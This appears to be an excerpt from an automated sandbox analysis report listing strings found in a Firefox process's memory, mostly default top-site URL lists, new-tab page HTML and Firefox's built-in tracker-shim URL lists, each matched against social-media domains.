Source: firefox.exe, 00000019.00000002.2831590852.00000209A3E03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://pagead2.googlesyndication.com/pagead/.jsfcd=true://pagead2.googlesyndication.com/pagead/js/.jsfcd=trueC:\Program Files\Mozilla Firefox\browser\features://id.rambler.ru/rambler-id-helper/auth_events.js://www.gstatic.com/firebasejs//firebase-messaging.jshttps://static.adsafeprotected.com/firefox-etp-pixel@mozilla.org/uriloader/external-protocol-service;1 equals www.rambler.ru (Rambler)
Source: firefox.exe, 00000019.00000002.2831590852.00000209A3E03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://vast.adsafeprotected.com/vast://securepubads.g.doubleclick.net/gampad/ad*://pubads.g.doubleclick.net/gampad/ad-blk://www.facebook.com/platform/impression.php://trends.google.com/trends/embed*sessionstore.closedTabsFromAllWindows equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.2831590852.00000209A3E03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.2835923520.00000209A4A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: -l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"Wikipedia"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.reddit.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="R"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/reddit-com@2x.png)"></div></div></div><div class="title"><span dir="auto">Reddit<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"Reddit"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer hide-for-narrow"><div class="top-site-inner"><a class="top-site-button" href="https://twitter.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="T"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/twitter-com@2x.png)"></div></div></div><div class="title"><span dir="auto">Twitter<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"Twitter"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer placeholder hide-for-narrow"><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li></ul><div class="edit-topsites-wrapper"></div></div></section></div></div></div></div><style data-styles="[[null]]"></style></div><div class="discovery-stream ds-layout"><div class="ds-column ds-column-12"><div class="ds-column-grid"><div></div></div></div><style data-styles="[[null]]"></style></div></div></main></div></div> equals www.twitter.com (Twitter)
Source: firefox.exe, 00000019.00000002.2991507780.00000209AA355000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.3032731152.00000209AFEB4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2991507780.00000209AA355000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.2894451888.00000209A852D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2891470046.00000209A82F7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2894451888.00000209A85E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.2831590852.00000209A3E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: MHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEYyj8zLJVJc//j1xARfPx+oE/xqqM7O7tEZ9+XMWBeEQCqbJZRV8YS8VVq7GffqygmqryEGBhGRP5MX05XlfMO0cKletwojy/g/uWNoFAMYM3K/5640rSS53JHtjagJJEhttps://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.2831590852.00000209A3E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: MHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEYyj8zLJVJc//j1xARfPx+oE/xqqM7O7tEZ9+XMWBeEQCqbJZRV8YS8VVq7GffqygmqryEGBhGRP5MX05XlfMO0cKletwojy/g/uWNoFAMYM3K/5640rSS53JHtjagJJEhttps://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000019.00000002.2831590852.00000209A3E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: MHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEYyj8zLJVJc//j1xARfPx+oE/xqqM7O7tEZ9+XMWBeEQCqbJZRV8YS8VVq7GffqygmqryEGBhGRP5MX05XlfMO0cKletwojy/g/uWNoFAMYM3K/5640rSS53JHtjagJJEhttps://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.2831590852.00000209A3E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: MHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEYyj8zLJVJc//j1xARfPx+oE/xqqM7O7tEZ9+XMWBeEQCqbJZRV8YS8VVq7GffqygmqryEGBhGRP5MX05XlfMO0cKletwojy/g/uWNoFAMYM3K/5640rSS53JHtjagJJEhttps://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/(browserSettings.update.channel == "release") && (!((currentDate\|date - profileAgeCreated\|date) / 3600000 <= 24)) && (version\|versionCompare('116.!') >= 0) equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.2831590852.00000209A3E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: MHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEYyj8zLJVJc//j1xARfPx+oE/xqqM7O7tEZ9+XMWBeEQCqbJZRV8YS8VVq7GffqygmqryEGBhGRP5MX05XlfMO0cKletwojy/g/uWNoFAMYM3K/5640rSS53JHtjagJJEhttps://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/(browserSettings.update.channel == "release") && (!((currentDate\|date - profileAgeCreated\|date) / 3600000 <= 24)) && (version\|versionCompare('116.!') >= 0) equals www.twitter.com (Twitter)
Source: firefox.exe, 00000019.00000002.2831590852.00000209A3E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: MHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEYyj8zLJVJc//j1xARfPx+oE/xqqM7O7tEZ9+XMWBeEQCqbJZRV8YS8VVq7GffqygmqryEGBhGRP5MX05XlfMO0cKletwojy/g/uWNoFAMYM3K/5640rSS53JHtjagJJEhttps://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/(browserSettings.update.channel == "release") && (!((currentDate\|date - profileAgeCreated\|date) / 3600000 <= 24)) && (version\|versionCompare('116.!') >= 0) equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.2831590852.00000209A3E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.2831590852.00000209A3E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000019.00000002.2831590852.00000209A3E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.2831590852.00000209A3E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/moz-extension://a581a2f1-688c-434b-8db8-16166b1993d9/data/ua_overrides.js equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.2831590852.00000209A3E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/moz-extension://a581a2f1-688c-434b-8db8-16166b1993d9/data/ua_overrides.js equals www.twitter.com (Twitter)
Source: firefox.exe, 00000019.00000002.2831590852.00000209A3E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/moz-extension://a581a2f1-688c-434b-8db8-16166b1993d9/data/ua_overrides.js equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.2831590852.00000209A3EF9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["image"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.2831590852.00000209A3EF9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["image"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null}, ["blocking"]][{incognito:null, tabId:null, types:["imageset"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null}, ["blocking"]] equals www.faceboo
Source: firefox.exe, 00000019.00000002.2831590852.00000209A3EF9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["imageset"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.2831590852.00000209A3E61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 00000019.00000002.2831590852.00000209A3E61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 00000019.00000002.2893910824.00000209A8403000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["xmlhttprequest"], urls:["://track.adform.net/Serving/TrackPoint/", "://pagead2.googlesyndication.com/pagead/.jsfcd=true", "://pagead2.googlesyndication.com/pagead/js/.jsfcd=true", "://pixel.advertising.com/firefox-etp", "://cdn.cmp.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "https://static.adsafeprotected.com/firefox-etp-js", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/*"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.3023823448.00000209AFB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: `https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.3023823448.00000209AFB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: `https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.2946956724.00000209A9F77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000003.2728645310.00000209A8464000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2991507780.00000209AA355000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2893910824.00000209A845B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.3032731152.00000209AFEB4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2991507780.00000209AA355000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.2946956724.00000209A9F77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.2946956724.00000209A9F77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.2946956724.00000209A9F77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2831590852.00000209A3E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.2946956724.00000209A9F77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2831590852.00000209A3E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000019.00000002.2946956724.00000209A9F77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2831590852.00000209A3E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.2946956724.00000209A9F77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2831590852.00000209A3E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.2946956724.00000209A9F77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2831590852.00000209A3E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.2946956724.00000209A9F77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2831590852.00000209A3E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.2946956724.00000209A9F77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2831590852.00000209A3E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.2946956724.00000209A9F77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.facebook.com (Facebook)
